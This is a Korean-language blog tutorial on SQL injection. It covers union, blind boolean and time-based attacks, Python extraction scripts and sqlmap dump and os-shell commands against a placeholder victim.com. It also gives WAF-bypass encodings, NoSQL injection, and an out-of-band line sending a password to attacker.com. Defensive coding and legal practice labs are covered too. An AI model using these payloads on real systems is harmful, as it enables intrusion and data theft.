SQL Injection 마스터하기: 웹 해킹의 필수 기술
TL;DR: SQL Injection은 여전히 살아있는 가장 위험한 웹 취약점. 기본부터 Blind SQLi, Time-based 공격, sqlmap 활용까지 실전 완벽 정리.
SQL Injection이란?
사용자 입력이 SQL 쿼리에 직접 삽입��어 공격자가 데이터베이스를 조작할 수 있는 취약점.
2024년에도 OWASP Top 10에서 Injection 카테고리는 여전히 상위권입니다. 왜? 레거시 코드가 많고, 개발자들이 여전히 실수하기 때문.
간단한 예제
// 취약한 로그인 코드
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $query);
if (mysqli_num_rows($result) > 0) {
echo "Login successful!";
}
정상 입력:
SELECT * FROM users WHERE username='admin' AND password='password123'
공격 입력:
Username: admin' --
Password: (아무거나)
SELECT * FROM users WHERE username='admin' -- ' AND password='anything'
^^^^
주석 처리됨!
→ 비밀번호 검사 우회! 🚨
SQLi 타입 분류
1. In-Band SQLi (결과가 즉시 보임)
Error-based SQLi
에러 메시지로 정보 추출:
' UNION SELECT 1, version(), database() --
출력:
Error: MySQL version 8.0.32-ubuntu, Database: shop_db
Union-based SQLi
UNION으로 추가 데이터 가져오기:
' UNION SELECT null, username, password FROM admin_users --
2. Inferential SQLi (결과가 안 보임 - Blind)
Boolean-based Blind SQLi
참/거짓 반응으로 데이터 추출:
-- 데이터베이스 이름 첫 글자가 's'인가?
' AND SUBSTRING(database(),1,1)='s' --
-- 참이면: 정상 페이지
-- 거짓이면: 에러 또는 다른 페이지
Time-based Blind SQLi
시간 지연으로 참/거짓 판별:
' AND IF(SUBSTRING(database(),1,1)='s', SLEEP(5), 0) --
-- 참이면: 5초 대기
-- 거짓이면: 즉시 응답
3. Out-of-Band SQLi
DNS/HTTP 요청으로 데이터 유출 (고급):
'; EXEC xp_dirtree '\\attacker.com\' + (SELECT password FROM users WHERE id=1) + '.leak.com\share' --
실전 시나리오 #1: Union-based SQLi
타겟 분석
취약한 페이지:
https://victim.com/product.php?id=5
원본 쿼리 (추정):
SELECT name, price, description FROM products WHERE id=5
Step 1: 취약점 확인
?id=5'
→ SQL 에러 발생? → 취약!
?id=5 AND 1=1
→ 정상 페이지
?id=5 AND 1=2
→ 페이지 다름 / 에러 → Boolean SQLi 가능
Step 2: 컬럼 수 파악
?id=5 ORDER BY 1 -- ✅ 정상
?id=5 ORDER BY 2 -- ✅ 정상
?id=5 ORDER BY 3 -- ✅ 정상
?id=5 ORDER BY 4 -- ❌ 에러!
→ 3개 컬럼 확인
Step 3: UNION 주입 지점 찾기
?id=5 UNION SELECT null, null, null --
페이지에 null이 보이는 위치 확인 → 2번째, 3번째 컬럼이 화면에 출력됨
Step 4: 데이터 추출
데이터베이스 정보:
?id=5 UNION SELECT null, database(), version() --
출력:
Name: shop_db
Price: MySQL 8.0.32
테이블 목록:
?id=5 UNION SELECT null, table_name, null FROM information_schema.tables WHERE table_schema=database() --
출력:
products
users
admin_panel
orders
users 테이블 컬럼:
?id=5 UNION SELECT null, column_name, null FROM information_schema.columns WHERE table_name='users' --
출력:
id
username
password
email
사용자 데이터 추출:
?id=5 UNION SELECT null, username, password FROM users --
출력:
admin | 5f4dcc3b5aa765d61d8327deb882cf99 (MD5: password)
john | 098f6bcd4621d373cade4e832627b4f6 (MD5: test)
Step 5: 크랙 또는 활용
# MD5 해시 크랙
echo "5f4dcc3b5aa765d61d8327deb882cf99" > hash.txt
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
# 또는 온라인: https://crackstation.net/
실전 시나리오 #2: Blind SQLi (Boolean)
상황
로그인 페이지에�� SQL 주입 시도하지만 에러 메시지가 안 보임.
Username: admin
Password: anything
→ "Invalid credentials" (항상 같은 메시지)
하지만 다음 주입 시:
Username: admin' AND '1'='1
→ "Invalid credentials" (정상)
Username: admin' AND '1'='2
→ 응답이 약간 다름 (또는 시간 차이)
→ Boolean Blind SQLi 가능!
자동화 스크립트 (Python)
import requests
import string
url = "https://victim.com/login.php"
chars = string.ascii_letters + string.digits + '_'
# 데이터베이스 이름 추출
db_name = ""
for pos in range(1, 20): # 최대 19글자
for char in chars:
payload = f"admin' AND SUBSTRING(database(),{pos},1)='{char}' -- "
data = {"username": payload, "password": "x"}
response = requests.post(url, data=data)
# "Invalid credentials" 길이로 참/거짓 판별
if len(response.text) == 1234: # 참일 때의 응답 길이
db_name += char
print(f"[+] Database: {db_name}")
break
else:
break # 더 이상 글자 없음
print(f"[!] Final database name: {db_name}")
Time-based 버전
import requests
import time
def check_char(pos, char):
payload = f"admin' AND IF(SUBSTRING(database(),{pos},1)='{char}',SLEEP(3),0) -- "
data = {"username": payload, "password": "x"}
start = time.time()
requests.post("https://victim.com/login.php", data=data, timeout=10)
elapsed = time.time() - start
return elapsed > 2.5 # 3초 SLEEP이면 참
db_name = ""
for pos in range(1, 20):
for char in string.ascii_lowercase + string.digits + '_':
if check_char(pos, char):
db_name += char
print(f"[+] Found: {db_name}")
break
else:
break
print(f"[!] Database: {db_name}")
sqlmap: 자동화의 정석
기본 사용법
# GET 파라미터 스캔
sqlmap -u "https://victim.com/product.php?id=5"
# POST 데이터 스캔
sqlmap -u "https://victim.com/login.php" --data="username=admin&password=test"
# Cookie 포함
sqlmap -u "https://victim.com/profile.php" --cookie="PHPSESSID=abc123"
# 특정 파라미터만 테스트
sqlmap -u "https://victim.com/search.php?q=test&category=books" -p q
데이터 추출
# 데이터베이스 목록
sqlmap -u "..." --dbs
# 특정 DB의 테이블
sqlmap -u "..." -D shop_db --tables
# 특정 테이블의 컬럼
sqlmap -u "..." -D shop_db -T users --columns
# 데이터 덤프
sqlmap -u "..." -D shop_db -T users -C username,password --dump
# 전체 덤프 (위험 🔥)
sqlmap -u "..." --dump-all
고급 옵션
# Blind SQLi 강제
sqlmap -u "..." --technique=B # Boolean-based만
sqlmap -u "..." --technique=T # Time-based만
# DBMS 지정 (속도 향상)
sqlmap -u "..." --dbms=MySQL
# 프록시 사용 (Burp Suite)
sqlmap -u "..." --proxy=http://127.0.0.1:8080
# User-Agent 위장
sqlmap -u "..." --random-agent
# WAF 우회
sqlmap -u "..." --tamper=space2comment
# OS 쉘 획득 (파일 업로드 가능 시)
sqlmap -u "..." --os-shell
Burp Suite 연동
- Burp에서 요청 캡처
- 우클릭 → "Copy to file" →
request.txt저장 - sqlmap 실행:
sqlmap -r request.txt --batch --level=5 --risk=3
방어 기법
1. Prepared Statements (가장 안전)
PHP (PDO):
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);
$user = $stmt->fetch();
Python (psycopg2):
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s",
(username, password))
Node.js (mysql2):
connection.execute(
'SELECT * FROM users WHERE username = ? AND password = ?',
[username, password],
(err, results) => { /* ... */ }
);
2. ORM 사용
Django:
User.objects.filter(username=username, password=password)
SQLAlchemy:
session.query(User).filter_by(username=username, password=password).first()
3. 입력 검증 (추가 방어)
// 화이트리스트 방식
if (!preg_match('/^[a-zA-Z0-9_]+$/', $username)) {
die("Invalid username");
}
// 타입 검증
$id = (int)$_GET['id']; // 정수로 강제 변환
4. 최소 권한 원칙
-- 웹 앱용 DB 계정은 읽기/쓰기만
GRANT SELECT, INSERT, UPDATE ON shop_db.* TO 'webapp'@'localhost';
-- DROP, CREATE 같은 위험한 권한은 제거
REVOKE ALL PRIVILEGES ON *.* FROM 'webapp'@'localhost';
5. WAF (Web Application Firewall)
- ModSecurity (오픈소스)
- Cloudflare WAF
- AWS WAF
WAF 룰 예시:
SecRule ARGS "@detectSQLi" "id:1,deny,status:403,msg:'SQL Injection Attempt'"
고급 테크닉
1. WAF 우회 - 인코딩
-- URL 인코딩
' OR '1'='1 → %27%20OR%20%271%27%3D%271
-- Double URL 인코딩
' OR '1'='1 → %2527%2520OR%2520%25271%2527%253D%25271
-- Unicode
' OR '1'='1 → \u0027 OR \u0027\u0031\u0027=\u0027\u0031
2. WAF 우회 - 난독화
-- 주석 삽입
'/**/OR/**/1=1
-- 대소문자 혼용
' oR '1'='1
-- 공백 대체
'OR'1'='1 (공백 없음)
'+OR+'1'='1 (+ = 공백)
'/**/OR/**/1=1 (주석 = 공백)
3. Second-Order SQLi
첫 입력은 저장만 되고, 나중에 사용될 때 실행:
// 회원가입
$username = mysqli_real_escape_string($conn, $_POST['username']);
mysqli_query($conn, "INSERT INTO users (username) VALUES ('$username')");
// 나중에 프로필 페이지에서...
$user = mysqli_query($conn, "SELECT * FROM users WHERE id=1");
$username = $user['username']; // escape 없이 그대로 사용!
$stats = mysqli_query($conn, "SELECT * FROM stats WHERE username='$username'");
공격:
회원가입 시 username: admin' OR '1'='1
→ DB에 저장됨: admin' OR '1'='1
→ 프로필 조회 시: SELECT * FROM stats WHERE username='admin' OR '1'='1'
4. NoSQL Injection (MongoDB)
// 취약한 코드
db.users.find({ username: req.body.username, password: req.body.password })
// 공격 payload (JSON)
{
"username": {"$ne": null},
"password": {"$ne": null}
}
// 실행되는 쿼리
db.users.find({ username: {$ne: null}, password: {$ne: null} })
// → 모든 사용자 반환!
방어:
// 타입 검증
if (typeof req.body.username !== 'string') {
return res.status(400).json({ error: 'Invalid input' });
}
// 또는 Object 금지
const username = String(req.body.username);
const password = String(req.body.password);
실전 연습
합법적 연습 플랫폼
| 플랫폼 | 난이도 | 설명 |
|---|---|---|
| PortSwigger Web Security Academy | 초급~고급 | Burp Suite 제작사, 무료 랩 |
| DVWA (Damn Vulnerable Web App) | 초급~중급 | 로컬 설치, PHP 기반 |
| bWAPP | 중급 | 100+ 취약점 포함 |
| SQLi Labs | 초급~고급 | SQLi 전용 75개 레벨 |
| HackTheBox | 중급~고급 | 실전 머신, 유료 |
| TryHackMe | 초급~중급 | 가이드 있는 학습 경로 |
로컬 랩 구축
# DVWA 설치 (Docker)
git clone https://github.com/digininja/DVWA.git
cd DVWA
docker-compose up -d
# 접속: http://localhost
# 기본 계정: admin / password
연습 순서:
- Low 보안 → SQL Injection 기본 익히기
- Medium 보안 → 필터링 우회 연습
- High 보안 → Blind SQLi, Time-based 마스터
- Impossible → 안전한 코드 학습
체크리스트
🔍 취약점 발견
-
',",;입력 시 에러 발생? -
1' AND '1'='1vs1' AND '1'='2반응 다름? -
1' OR '1'='1입력 시 더 많은 결과? - 타입 변환 (숫자 → 문자열) 시 동작 변화?
🎯 공격 진행
- 컬럼 수 파악 (
ORDER BY) - UNION 주입 지점 찾기
- 데이터베이스 정보 수집 (
information_schema) - 테이블/컬럼 열거
- 데이터 추출
- 권한 상승 시도 (
FILE,SUPER권한)
🛡️ 개발자용 방어 체크
- Prepared Statements 사용?
- ORM 사용 (안전한 방식)?
- 입력 검증 (화이트리스트)?
- DB 계정 최소 권한?
- 에러 메시지 숨김?
- WAF 적용?
- 로깅/모니터링?
마치며
SQL Injection은 2026년에도 살아있는 위협입니다.
공격자 관점:
- 가장 높은 ROI (투자 대비 수익)
- 자동화 도구 풍부 (sqlmap, Havij, jSQL)
- CTF, 버그바운티에서 고득점
개발자 관점:
- Prepared Statements 하나면 99% 방어
- 하지만 레거시 코드, 복잡한 쿼리, NoSQL은 여전히 위험
- "내 코드는 안전해" → 가장 위험한 생각
다음 학습 경로:
- DVWA SQLi 섹션 전체 클리어 (Low → Impossible)
- PortSwigger Academy SQLi 전체 랩 완료
- HackTheBox에서 SQLi 태그 머신 3개 풀기
- 실제 버그바운티 프로그램에 도전
쿼리는 코드다. 코드는 검증되어야 한다. 💉
다음 글 예고:
"XSS 완전정복: DOM부터 Blind XSS까지"